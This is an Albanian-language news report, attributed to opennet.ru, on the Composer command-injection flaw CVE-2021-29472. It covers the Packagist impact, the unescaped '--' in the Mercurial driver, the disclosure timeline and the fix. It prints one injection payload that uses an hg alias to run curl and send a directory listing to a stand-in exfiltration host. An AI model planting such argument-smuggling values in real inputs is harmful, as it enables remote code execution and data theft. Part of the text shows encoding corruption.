Në menaxherin e varësive Composer është identifikuar një dobësi kritike (CVE-2021-29472), që lejon ekzekutimin e komandave të rastit në sistem gjatë përpunimit të paketave me një vlerë të veçantë URL, e cila përcakton adresën për ngarkimin e burimeve. Problemi shfaqet në komponentët GitDriver, SvnDriver dhe HgDriver, të përdorur gjatë përdorimit të sistemeve të menaxhimit të burimeve Git, Subversion dhe Mercurial. Dobësia është eliminuar në versionet Composer 1.10.22 dhe 2.0.13.
Veçanërisht theksohet se problemi ka prekur kryesisht depozitat e paketave Packagist, të përdorura si të parazgjedhura në Composer, të cilat numërojnë 306 mijë paketa për zhvilluesit në PHP dhe shërbejnë çdo muaj më shumë se 1.4 miliard shkarkime. Gjatë eksperimenteve është treguar se në rastin e disponimit të informacionit mbi problemin, sulmuesit mund të merrnin kontroll mbi infrastrukturën e Packagist dhe të kapnin akreditimet e përcjellësve ose të ridrejtuan shkarkimin e paketave në një server të huaj, duke organizuar dorëzimin e variacioneve të paketave me ndryshime të dëmshme për të futur një backdoor gjatë procesit të instalimit të varësive.
Rreziku për përdoruesit e fundit është i kufizuar nga fakti se përmbajtja e composer.json përcaktohet zakonisht nga vetë përdoruesi, ndërsa lidhjet në burimet përcillen kur kërkohen depozita të huaja, zakonisht që gëzojnë besueshmëri. Goditja kryesore ra mbi depozitën Packagist.org dhe shërbimin Private Packagist, të cilat thërrasin Composer me transmetimin e të dhënave të marra nga përdoruesit. Sulmuesit mund të ekzekutonin kodin e tyre në serverat e Packagist duke vendosur një paketë të veçantë.
Ekipa e Packagist eliminoi dobësinë brenda 12 orëve pas marrjes së njoftimit mbi dobësinë. Kërkuesit në mënyrë private njoftuan zhvilluesit e Packagist më 22 prill dhe në të njëjtën ditë problemi u rregullua. Përditësimi publik i Composer me eliminimin e dobësisë u publikua më 27 prill, ndërsa detajet u zbuluan më 28 prill. Auditimi i logeve në serverat e Packagist nuk zbuloi aktivitet të dyshimtë të lidhur me dobësinë.
Problemi Ă«shtĂ« shkaktuar nga njĂ« gabim nĂ« kodin e verifikimit tĂ« URL-ve nĂ« skedarin rrĂ«njor composer.json dhe lidhjet pĂ«r shkarkimin e teksteve burimore. Gabimi ka qenĂ« nĂ« kod qĂ« nga nĂ«ntori i vitit 2011. NĂ« Packagist pĂ«rdoren shtresa speciale pĂ«r organizimin e shkarkimit tĂ« kodit pa u lidhur me njĂ« sistem tĂ« caktuar tĂ« menaxhimit tĂ« teksteve burimore, qĂ« ekzekutohen pĂ«rmes thirrjes "fromShellCommandline" me kalimin e argumenteve tĂ« linjĂ«s sĂ« komandĂ«s. PĂ«r shembull, pĂ«r git thirret komanda "git ls-remote âheads $URL", ku URL Ă«shtĂ« trajtuar me metodĂ«n "ProcessExecutor::escape($url)", e cila shmang struktura potencialisht tĂ« rrezikshme si "$(âŠ)" ose "`âŠ`".
Thelbi i problemit Ă«shtĂ« se metoda ProcessExecutor::escape nuk e ka ekzekutuar sekuencĂ«n "â", çka lejonte tĂ« pĂ«rcaktohej çdo parametĂ«r shtesĂ« i thirrjes nĂ« URL. NjĂ« ekranuar tĂ« tillĂ« ka munguar nĂ« drejtoritĂ« GitDriver.php, SvnDriver.php dhe HgDriver.php. Sulmi pĂ«rmes GitDriver.php Ă«shtĂ« penguar nga fakti se komanda "git ls-remote" nuk mbĂ«shtet thirrjet me argumente shtesĂ« pas rrugĂ«s. NjĂ« sulm i mundshĂ«m Ă«shtĂ« realizuar pĂ«rmes HgDriver.php duke kaluar parametrin "âconfig" tek utilitari "hq", i cili lejonte ekzekutimin e çdo komande pĂ«rmes manipulimit tĂ« konfigurimit "alias.identify". PĂ«r shembull, pĂ«r tĂ« shkarkuar dhe ekzekutuar kodin pĂ«rmes ekzekutimit tĂ« utilitarit curl mund tĂ« pĂ«rcaktohej: âconfig=alias.identify=!curl http://exfiltration-host.tld âdata "$(ls -alh)".
Duke vendosur në Packagist një paketë provuese me një URL të tillë, hulumtuesit e konfirmuan se pas vendosjes në serverin e tyre mbërriti një kërkesë HTTP nga një nga serverësh Packagist në AWS, që përmbante një listim të skedave në katalogun aktual.
Burimi: opennet.ru
